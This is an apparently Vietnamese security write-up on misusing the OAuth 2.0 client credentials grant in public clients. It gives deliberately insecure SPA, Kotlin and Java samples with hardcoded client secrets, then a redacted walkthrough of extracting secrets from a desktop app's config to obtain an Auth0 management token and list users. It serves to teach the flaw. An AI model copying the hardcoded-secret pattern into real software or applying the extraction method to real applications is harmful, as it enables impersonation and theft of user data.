Abstract

Theo mô tả từ Client Credentials, client credentials là một OAuth flow cho phép ứng dụng submit client_idclient_secret lên OAuth server để nhận được quyền truy cập vào resource của chính nó. Request này xảy ra ở back-channel của các ứng dụng chẳng hạn như mobile app, desktop application hay SPA và không thể được thấy bởi người dùng. Tuy nhiên, attacker vẫn có thể dùng stringshay decompiler để trích xuất client_idclient_secret từ các ứng dụng không có khả năng để lưu secret này nhằm lấy access token từ server và mạo danh ứng dụng nhằm truy cập đến các API được bảo vệ.

Client Types

Theo đặc tả của OAuth 2.0, có 2 loại client application.

  • Confidential: là các client có thể lưu trữ an toàn credentials của chúng mà không để lộ cho users hay attackers. Điều này đồng nghĩa với việc client là backend server hoặc một môi trường an toàn bị giới hạn trong việc truy cập dữ liệu nhạy cảm.
  • Public: là các client không thể lưu secrets, chẳng hạn như thiết bị di động, SPA app trên trình duyệt.

Misusing the Client Credentials Grant Type

Client Credentials Grant Type bắt buộc được dùng với các confidential client application. Tuy nhiên, developer có thể nhầm lẫn và dùng nó cho các public client application và do các ứng dụng này không thể nào lưu secrets nên attacker có thể trích xuất secrets và mạo danh ứng dụng để truy cập vào protected APIs.

Sau đây là một số sai lầm khi sử dụng Client Credentials Grant Type cho các public client application.

SPA

const clientId = "mySPAclient"
const clientSecret = "s3cr3tHere" // Visible to everyone
fetch("https://auth.example.com/oauth/token", {
  method: "POST",
  headers: {
    Authorization: "Basic " + btoa(`${clientId}:${clientSecret}`),
  },
  body: "grant_type=client_credentials",
})

Mobile Application

val json = JSONObject().apply {
    put("grant_type", "client_credentials")
    put("client_id", "your_client_id")
    put("client_secret", "your_client_secret")
    put("scope", "read write")
}
 
val body = RequestBody.create(
    MediaType.parse("application/json; charset=utf-8"),
    json.toString()
)
 
val request = Request.Builder()
    .url("https://your-auth-server.com/oauth/token")
    .post(body)
    .build()
 
OkHttpClient().newCall(request).enqueue(object : Callback {
    override fun onResponse(call: Call, response: Response) {
        val responseBody = response.body?.string()
        val token = JSONObject(responseBody ?: "").optString("access_token")
        println("Access Token: $token")
    }
 
    override fun onFailure(call: Call, e: IOException) {
        println("Token request failed: ${e.message}")
    }
})

Desktop Application

import java.io.*;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import javax.net.ssl.HttpsURLConnection;
 
public class ClientCredentialsGrant {
    public static void main(String[] args) {
        try {
            // Replace with your token endpoint
            URL url = new URL("https://your-auth-server.com/oauth/token");
            HttpsURLConnection con = (HttpsURLConnection) url.openConnection();
            con.setRequestMethod("POST");
            con.setDoOutput(true);
 
            // Set content type
            con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
 
            // Set Basic Authorization header
            String clientId = "your_client_id";
            String clientSecret = "your_client_secret";
            String credentials = clientId + ":" + clientSecret;
            String encoded = Base64.getEncoder().encodeToString(credentials.getBytes(StandardCharsets.UTF_8));
            con.setRequestProperty("Authorization", "Basic " + encoded);
 
            // Request body
            String scope = "read write";
            String payload = "grant_type=client_credentials&scope=" + URLEncoder.encode(scope, "UTF-8");
 
            // Send the payload
            try (OutputStream os = con.getOutputStream()) {
                os.write(payload.getBytes(StandardCharsets.UTF_8));
            }
 
            // Read the response
            int responseCode = con.getResponseCode();
            InputStream inputStream = (responseCode == 200)
                ? con.getInputStream()
                : con.getErrorStream();
 
            try (BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8))) {
                StringBuilder response = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    response.append(line.trim());
                }
                System.out.println("Response: " + response);
            }
 
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Exploitation Example

Nhóm researcher đánh giá một desktop application sử dụng OAuth 2.0 với Client Credentials Grant Type và do ứng dụng này được cài trên máy của người dùng. Đối với Windows thì ở path sau:

C:\Program Files (x86)\Example Services\TenantUserService\

Đối với macOS thì ở path sau:

/Library/Application Support/Example Services/services/TenantUserService/

Trong file appsettings.json, researcher tìm thấy các giá trị sau:

  • client_id
  • client_secret
  • authorization_url
  • audience

Sau đó, researcher tạo ra request dùng để lấy access token:

POST /oauth/token HTTP/1.1
Host: example.auth0.com
Content-Type: application/json; charset=utf-8
Content-Length: 218
Connection: close
Cache-Control: no-transform
Expect: 100-continue
 
{
  "grant_type": "client_credentials",
  "client_id": "[REDACTED]",
  "client_secret": "[REDACTED]",
  "audience": "https://example.auth0.com/api/v2/"
}
 
HTTP/1.1 200 OK
Date: Mon, 1 Aug 2023 07:38:31 GMT
Content-Type: application/json
Content-Length: 798
Connection: close
 
{
  "access_token": "eyJhbGciOiJ[REDACTED]",
  "scope": "create:client_grants read:users update:users delete:users create:users read:users_app_metadata update:users_app_metadata create:users_app_metadata read:user_idp_tokens",
  "expires_in": 86400,
  "token_type": "Bearer"
}

Và gửi đến endpoint của Auth0 nhằm lấy danh sách người dùng cũng như là để xác thực token:

GET /api/v2/users?page=0&per_page=50 HTTP/1.1
Host: example.auth0.com
Authorization: Bearer eyJhbGciOiJ[REDACTED]
 
HTTP/1.1 200 OK
Date: Mon, 1 Aug 2023 08:15:31 GMT
Content-Type: application/json
Content-Length: 1024
Connection: keep-alive
 
[
  {
    "user_id": "605b72a6e7a3e80015d7a2b9",
    "email": "alice@example.com",
    "name": "Alice Johnson",

  },
  {
    "user_id": "605b72a6e7a3e80015d7a2c0f",
    "email": "bob@example.com",
    "name": "Bob Smith",

  }
 …omitted for brevity…
]

Resources